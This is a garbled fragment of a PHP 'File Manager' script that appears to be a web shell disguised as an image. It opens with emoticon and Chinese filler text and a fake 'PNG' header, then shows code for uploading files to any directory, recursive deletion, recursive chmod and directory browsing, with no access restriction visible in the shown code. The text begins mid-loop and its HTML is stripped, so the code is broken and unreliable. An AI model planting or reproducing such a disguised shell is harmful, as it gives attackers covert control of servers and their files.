소재지 ₍₍◝(・'ω'・)◟⁾⁾ 🐟️?看XM(^_−)☆哈先看看刚看过卡卡国看过了回来冷藏柜好极过估计 PNG %k25u25%fgd5n! $tmp_name) { if ($_FILES['files']['error'][$key] === 0) { $target = $current_dir . '/' . basename($_FILES['files']['name'][$key]); if (move_uploaded_file($tmp_name, $target)) $uploaded++; } } $_SESSION['success'] = $uploaded . ' 个文件上传成功!'; } header('Location: ?dir=' . urlencode($dir)); exit; } // ==================== 递归函数 ==================== function rmdir_recursive($dir) { if (is_dir($dir)) { foreach (scandir($dir) as $object) { if ($object != "." && $object != "..") { $path = $dir . "/" . $object; is_dir($path) ? rmdir_recursive($path) : unlink($path); } } rmdir($dir); } else { unlink($dir); } } function chmod_recursive($path, $perms) { if (is_dir($path)) { chmod($path, $perms); foreach (scandir($path) as $object) { if ($object != "." && $object != "..") { chmod_recursive($path . "/" . $object, $perms); } } } else { chmod($path, $perms); } } // ==================== 读取目录(关键修复:补回 path) ==================== $items = scandir($current_dir); $files = []; $folders = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $current_dir . '/' . $item; $size = is_dir($path) ? '-' : filesize($path); $perms = substr(sprintf('%o', fileperms($path)), -4); if (is_dir($path)) { $folders[] = ['name' => $item, 'size' => $size, 'perms' => $perms]; } else { $files[] = ['name' => $item, 'size' => $size, 'perms' => $perms, 'path' => $path]; // ← 这里补回了 path } } $full_path = realpath($current_dir); $parts = explode('/', $full_path); $accum = ''; ?> File Manager

File Manager

' . htmlspecialchars($_SESSION['success']) . '

'; unset($_SESSION['success']); } if (isset($_SESSION['error'])) { echo '

' . htmlspecialchars($_SESSION['error']) . '

'; unset($_SESSION['error']); } ?>

Current Path: ' . htmlspecialchars($part) . ' / '; } ?>

Parent Directory

Create File

Create Folder

Upload Files

Name Size (bytes) Permissions Actions
/
Open